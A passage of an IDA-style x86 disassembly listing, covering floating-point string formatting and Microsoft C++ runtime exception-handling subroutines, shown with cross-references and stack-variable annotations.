loc_418038 inc eax jmp short loc_418025 ; --------------------------------------------------------------------------- loc_418038: ; CODE XREF: seg000:00418029j ; seg000:0041802Ej ... mov ecx, eax loc_41803A: ; CODE XREF: seg000:0041803Ej dec eax cmp byte ptr [eax], 30h jz short loc_41803A cmp [eax], dl jnz short loc_418045 dec eax loc_418045: ; CODE XREF: seg000:00418042j ; seg000:0041804Dj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_418045 locret_41804F: ; CODE XREF: seg000:00418023j retn ; --------------------------------------------------------------------------- loc_418050: ; DATA XREF: sub_413FE9+28o mov eax, [esp+4] fld qword ptr [eax] fcomp ds:dbl_41F7A8 fnstsw ax sahf jb short loc_418065 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418065: ; CODE XREF: seg000:0041805Fj xor eax, eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418068 proc near ; DATA XREF: sub_413FE9+14o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_418091 lea eax, [ebp+var_8] push eax call sub_41BD9E mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_418091: ; CODE XREF: sub_418068+Cj lea eax, [ebp+arg_8] push eax call sub_41BDCB mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180A6 proc near ; CODE XREF: sub_418323+17p ; sub_41836D+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:byte_45E870, 0 push ebx push esi jz short loc_4180DB mov ebx, [ebp+arg_8] mov eax, ds:dword_45E86C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_4183BE pop ecx pop ecx jmp short loc_418113 ; --------------------------------------------------------------------------- loc_4180DB: ; CODE XREF: sub_4180A6+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_41BE6F mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_41BDF8 add esp, 14h loc_418113: ; CODE XREF: sub_4180A6+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41811F mov byte ptr [eax], 2Dh inc eax loc_41811F: ; CODE XREF: sub_4180A6+73j test ebx, ebx jle short loc_418137 mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, ds:byte_42D300 mov eax, edi pop edi mov [eax], cl loc_418137: ; CODE XREF: sub_4180A6+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp ds:byte_45E870, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_413CC0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41815E mov byte ptr [ecx], 45h loc_41815E: ; CODE XREF: sub_4180A6+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_4181A3 mov ebx, [esi+4] dec ebx jns short loc_418172 neg ebx mov byte ptr [ecx], 2Dh loc_418172: ; CODE XREF: sub_4180A6+C5j inc ecx cmp ebx, 64h jl short loc_418189 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_418189: ; CODE XREF: sub_4180A6+D0j inc ecx cmp ebx, 0Ah jl short loc_4181A0 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4181A0: ; CODE XREF: sub_4180A6+E7j add [ecx+1], bl loc_4181A3: ; CODE XREF: sub_4180A6+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4180A6 endp ; =============== S U B R O U T I N E ======================================= sub_4181AA proc near ; CODE XREF: sub_41834A+13p ; sub_41836D+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp ds:byte_45E870, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_4181E5 mov eax, ds:dword_45E874 mov ebx, [esp+10h+arg_8] mov esi, ds:dword_45E86C cmp eax, ebx jnz short loc_418215 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_418215 ; --------------------------------------------------------------------------- loc_4181E5: ; CODE XREF: sub_4181AA+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_41BE6F mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_41BDF8 add esp, 14h loc_418215: ; CODE XREF: sub_4181AA+22j ; sub_4181AA+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_418223 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_418223: ; CODE XREF: sub_4181AA+70j mov eax, [esi+4] test eax, eax jg short loc_41823A push 1 push edi call sub_4183BE pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41823C ; --------------------------------------------------------------------------- loc_41823A: ; CODE XREF: sub_4181AA+7Ej add edi, eax loc_41823C: ; CODE XREF: sub_4181AA+8Ej test ebx, ebx jle short loc_418281 push 1 push edi call sub_4183BE mov al, ds:byte_42D300 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_418281 cmp ds:byte_45E870, 0 jz short loc_418266 neg esi jmp short loc_41826C ; --------------------------------------------------------------------------- loc_418266: ; CODE XREF: sub_4181AA+B6j neg esi cmp ebx, esi jl short loc_41826E loc_41826C: ; CODE XREF: sub_4181AA+BAj mov ebx, esi loc_41826E: ; CODE XREF: sub_4181AA+C0j push ebx push edi call sub_4183BE push ebx push 30h push edi call sub_413630 add esp, 14h loc_418281: ; CODE XREF: sub_4181AA+94j ; sub_4181AA+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_4181AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418288 proc near ; CODE XREF: sub_41836D+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_41BE6F mov ds:dword_45E86C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov ds:dword_45E874, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_41BDF8 mov eax, ds:dword_45E86C add esp, 14h mov ecx, [eax+4] dec ecx cmp ds:dword_45E874, ecx setl cl mov ds:byte_45E878, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov ds:dword_45E874, eax jl short loc_41830E cmp eax, ebx jge short loc_41830E test cl, cl jz short loc_4182FF loc_4182F5: ; CODE XREF: sub_418288+72j mov al, [esi] inc esi test al, al jnz short loc_4182F5 and [esi-2], al loc_4182FF: ; CODE XREF: sub_418288+6Bj push ebx push [ebp+arg_4] push edi call sub_41834A add esp, 0Ch jmp short loc_41831E ; --------------------------------------------------------------------------- loc_41830E: ; CODE XREF: sub_418288+63j ; sub_418288+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_418323 add esp, 10h loc_41831E: ; CODE XREF: sub_418288+84j pop edi pop esi pop ebx pop ebp retn sub_418288 endp ; =============== S U B R O U T I N E ======================================= sub_418323 proc near ; CODE XREF: sub_418288+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov ds:byte_45E870, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4180A6 and ds:byte_45E870, 0 add esp, 10h retn sub_418323 endp ; =============== S U B R O U T I N E ======================================= sub_41834A proc near ; CODE XREF: sub_418288+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov ds:byte_45E870, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4181AA and ds:byte_45E870, 0 add esp, 0Ch retn sub_41834A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41836D proc near ; DATA XREF: sub_413FE9o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_4183A8 cmp [ebp+arg_8], 45h jz short loc_4183A8 cmp [ebp+arg_8], 66h jnz short loc_418395 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4181AA add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_418395: ; CODE XREF: sub_41836D+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_418288 jmp short loc_4183B9 ; --------------------------------------------------------------------------- loc_4183A8: ; CODE XREF: sub_41836D+7j ; sub_41836D+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4180A6 loc_4183B9: ; CODE XREF: sub_41836D+39j add esp, 10h pop ebp retn sub_41836D endp ; =============== S U B R O U T I N E ======================================= sub_4183BE proc near ; CODE XREF: sub_4180A6+2Cp ; sub_4181AA+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_4183E1 push esi mov esi, [esp+8+arg_0] push esi call sub_413DB0 inc eax push eax push esi add esi, edi push esi call sub_414520 add esp, 10h pop esi loc_4183E1: ; CODE XREF: sub_4183BE+7j pop edi retn sub_4183BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4183E3 proc near ; CODE XREF: seg000:004141CCp ; sub_414235+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_4183F9 call sub_418C82 loc_4183F9: ; CODE XREF: sub_4183E3+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_418421 cmp dword ptr [esi+4], 0 jz short loc_418477 cmp [ebp+arg_14], 0 jnz short loc_418477 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41872A add esp, 10h jmp short loc_418477 ; --------------------------------------------------------------------------- loc_418421: ; CODE XREF: sub_4183E3+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_418477 cmp dword ptr [eax], 0E06D7363h jnz short loc_41845B cmp [eax+14h], edi jbe short loc_41845B mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41845B movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41847A ; --------------------------------------------------------------------------- loc_41845B: ; CODE XREF: sub_4183E3+4Aj ; sub_4183E3+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41847E add esp, 20h loc_418477: ; CODE XREF: sub_4183E3+23j ; sub_4183E3+29j ... push 1 pop eax loc_41847A: ; CODE XREF: sub_4183E3+76j pop edi pop esi pop ebp retn sub_4183E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41847E proc near ; CODE XREF: sub_4183E3+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41849E mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_4184A3 loc_41849E: ; CODE XREF: sub_41847E+16j call sub_418C82 loc_4184A3: ; CODE XREF: sub_41847E+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_4185FA cmp dword ptr [esi+10h], 3 jnz short loc_418517 cmp [esi+14h], edi jnz short loc_418517 cmp dword ptr [esi+1Ch], 0 jnz short loc_418517 mov esi, ds:dword_45E87C test esi, esi jz loc_4185F5 mov eax, ds:dword_45E880 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_41BFF6 pop ecx test eax, eax pop ecx jnz short loc_4184F9 call sub_418C82 loc_4184F9: ; CODE XREF: sub_41847E+74j cmp [esi], ebx jnz loc_4185FA cmp dword ptr [esi+10h], 3 jnz short loc_418517 cmp [esi+14h], edi jnz short loc_418517 cmp dword ptr [esi+1Ch], 0 jnz short loc_418517 call sub_418C82 loc_418517: ; CODE XREF: sub_41847E+41j ; sub_41847E+46j ... cmp [esi], ebx jnz loc_4185FA cmp dword ptr [esi+10h], 3 jnz loc_4185FA cmp [esi+14h], edi jnz loc_4185FA mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_414383 add esp, 14h mov ebx, eax loc_41854E: ; CODE XREF: sub_41847E+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_4185E5 cmp [ebx], edi jg short loc_4185DA cmp edi, [ebx+4] jg short loc_4185DA mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_4185D7 loc_418573: ; CODE XREF: sub_41847E+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_4185A4 loc_418585: ; CODE XREF: sub_41847E+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4186CD add esp, 0Ch test eax, eax jnz short loc_4185B3 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_418585 loc_4185A4: ; CODE XREF: sub_41847E+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_418573 jmp short loc_4185D7 ; --------------------------------------------------------------------------- loc_4185B3: ; CODE XREF: sub_41847E+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4187DE add esp, 2Ch loc_4185D7: ; CODE XREF: sub_41847E+F3j ; sub_41847E+133j mov edi, [ebp+var_10] loc_4185DA: ; CODE XREF: sub_41847E+DEj ; sub_41847E+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41854E ; --------------------------------------------------------------------------- loc_4185E5: ; CODE XREF: sub_41847E+D6j cmp [ebp+arg_14], 0 jz short loc_4185F5 push 1 push esi call sub_418B53 pop ecx pop ecx loc_4185F5: ; CODE XREF: sub_41847E+56j ; sub_41847E+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_41847E+37j ; sub_41847E+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_418620 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_418625 add esp, 20h jmp short loc_4185F5 ; --------------------------------------------------------------------------- loc_418620: ; CODE XREF: sub_41847E+180j jmp sub_418C2C sub_41847E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418625 proc near ; CODE XREF: sub_41847E+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp ds:dword_45E884, 0 push esi push edi jz short loc_418656 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41425A add esp, 1Ch test eax, eax jnz short loc_4186C9 loc_418656: ; CODE XREF: sub_418625+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_414383 add esp, 14h mov esi, eax loc_418672: ; CODE XREF: sub_418625+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_4186C9 cmp edi, [esi] jl short loc_4186C1 cmp edi, [esi+4] jg short loc_4186C1 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41869B cmp byte ptr [ecx+8], 0 jnz short loc_4186C1 loc_41869B: ; CODE XREF: sub_418625+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4187DE add esp, 2Ch loc_4186C1: ; CODE XREF: sub_418625+57j ; sub_418625+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_418672 ; --------------------------------------------------------------------------- loc_4186C9: ; CODE XREF: sub_418625+2Fj ; sub_418625+53j pop edi pop esi leave retn sub_418625 endp ; =============== S U B R O U T I N E ======================================= sub_4186CD proc near ; CODE XREF: sub_41847E+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_418724 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_418724 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_4186FE add ecx, 8 push ecx push edx call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_418720 loc_4186FE: ; CODE XREF: sub_4186CD+1Fj test byte ptr [esi], 2 jz short loc_418708 test byte ptr [edi], 8 jz short loc_418720 loc_418708: ; CODE XREF: sub_4186CD+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_418717 test byte ptr [edi], 1 jz short loc_418720 loc_418717: ; CODE XREF: sub_4186CD+43j test al, 2 jz short loc_418724 test byte ptr [edi], 2 jnz short loc_418724 loc_418720: ; CODE XREF: sub_4186CD+2Fj ; sub_4186CD+39j ... xor eax, eax jmp short loc_418727 ; --------------------------------------------------------------------------- loc_418724: ; CODE XREF: sub_4186CD+Bj ; sub_4186CD+14j ... push 1 pop eax loc_418727: ; CODE XREF: sub_4186CD+55j pop edi pop esi retn sub_4186CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41872A proc near ; CODE XREF: sub_4183E3+34p ; sub_4187DE+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F7F0 push offset sub_41AE98 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41875C: ; CODE XREF: sub_41872A+8Aj cmp esi, [ebp+arg_C] jz short loc_4187B6 cmp esi, 0FFFFFFFFh jle short loc_41876B cmp esi, [edi+4] jl short loc_418770 loc_41876B: ; CODE XREF: sub_41872A+3Aj call sub_418C82 loc_418770: ; CODE XREF: sub_41872A+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41878B push 103h push ebx push eax call sub_418BE0 loc_41878B: ; CODE XREF: sub_41872A+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4187AB ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4187C8 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4187AB: ; CODE XREF: sub_41872A+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41875C ; --------------------------------------------------------------------------- loc_4187B6: ; CODE XREF: sub_41872A+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41872A endp ; =============== S U B R O U T I N E ======================================= sub_4187C8 proc near ; CODE XREF: sub_41872A+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4187D9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4187D9: ; CODE XREF: sub_4187C8+Cj jmp sub_418C2C sub_4187C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187DE proc near ; CODE XREF: sub_41847E+151p ; sub_418625+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_418800 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41898F add esp, 10h loc_418800: ; CODE XREF: sub_4187DE+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41880C push edi jmp short loc_41880F ; --------------------------------------------------------------------------- loc_41880C: ; CODE XREF: sub_4187DE+29j push [ebp+arg_24] loc_41880F: ; CODE XREF: sub_4187DE+2Cj call sub_41415C mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_41872A mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_418859 add esp, 2Ch test eax, eax jz short loc_418854 push edi push eax call sub_41411A loc_418854: ; CODE XREF: sub_4187DE+6Dj pop edi pop esi pop ebx pop ebp retn sub_4187DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418859 proc near ; CODE XREF: sub_4187DE+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F800 push offset sub_41AE98 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, ds:dword_45E87C mov [ebp+var_1C], ecx mov ecx, ds:dword_45E880 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov ds:dword_45E87C, edi mov ecx, [ebp+arg_8] mov ds:dword_45E880, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_4141E1 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41891F mov eax, [ebp+var_2C] loc_4188E6: ; CODE XREF: sub_4188FF+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_418859 endp ; =============== S U B R O U T I N E ======================================= sub_4188F5 proc near ; DATA XREF: seg001:0041F810o push dword ptr [ebp-14h] call sub_418965 pop ecx retn sub_4188F5 endp ; =============== S U B R O U T I N E ======================================= sub_4188FF proc near ; DATA XREF: seg001:0041F814o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_414442 pop ecx pop ecx xor eax, eax jmp short loc_4188E6 sub_4188FF endp ; --------------------------------------------------------------------------- loc_418917: ; DATA XREF: seg001:0041F808o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41891F proc near ; CODE XREF: sub_418859+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov ds:dword_45E87C, eax mov eax, [ebp-20h] mov ds:dword_45E880, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_418964 cmp dword ptr [edi+10h], 3 jnz short locret_418964 cmp dword ptr [edi+14h], 19930520h jnz short locret_418964 cmp [ebp-24h], ebx jnz short locret_418964 cmp [ebp-2Ch], ebx jz short locret_418964 call sub_4144AA push eax push edi call sub_418B53 pop ecx pop ecx locret_418964: ; CODE XREF: sub_41891F+1Cj ; sub_41891F+22j ... retn sub_41891F endp ; =============== S U B R O U T I N E ======================================= sub_418965 proc near ; CODE XREF: sub_4188F5+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41898C cmp dword ptr [eax+10h], 3 jnz short loc_41898C cmp dword ptr [eax+14h], 19930520h jnz short loc_41898C cmp dword ptr [eax+1Ch], 0 jnz short loc_41898C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41898C: ; CODE XREF: sub_418965+Cj ; sub_418965+12j ... xor eax, eax retn sub_418965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41898F proc near ; CODE XREF: sub_4187DE+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F818 push offset sub_41AE98 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_418B38 cmp byte ptr [eax+8], 0 jz loc_418B38 mov eax, [ecx+8] test eax, eax jz loc_418B38 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_418A2C mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_41BFF6 pop ecx pop ecx test eax, eax jz loc_418B2F push 1 push edi call sub_41C012 pop ecx pop ecx test eax, eax jz loc_418B2F mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_418A1D: ; CODE XREF: sub_41898F+F5j push eax call sub_418BBA pop ecx pop ecx mov [edi], eax jmp loc_418B34 ; --------------------------------------------------------------------------- loc_418A2C: ; CODE XREF: sub_41898F+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_418A86 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_41BFF6 pop ecx pop ecx test eax, eax jz loc_418B2F push 1 push edi call sub_41C012 pop ecx pop ecx test eax, eax jz loc_418B2F push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_414520 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_418B34 mov eax, [edi] test eax, eax jz loc_418B34 add esi, 8 push esi jmp short loc_418A1D ; --------------------------------------------------------------------------- loc_418A86: ; CODE XREF: sub_41898F+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_418ACE call sub_41BFF6 pop ecx pop ecx test eax, eax jz loc_418B2F push 1 push edi call 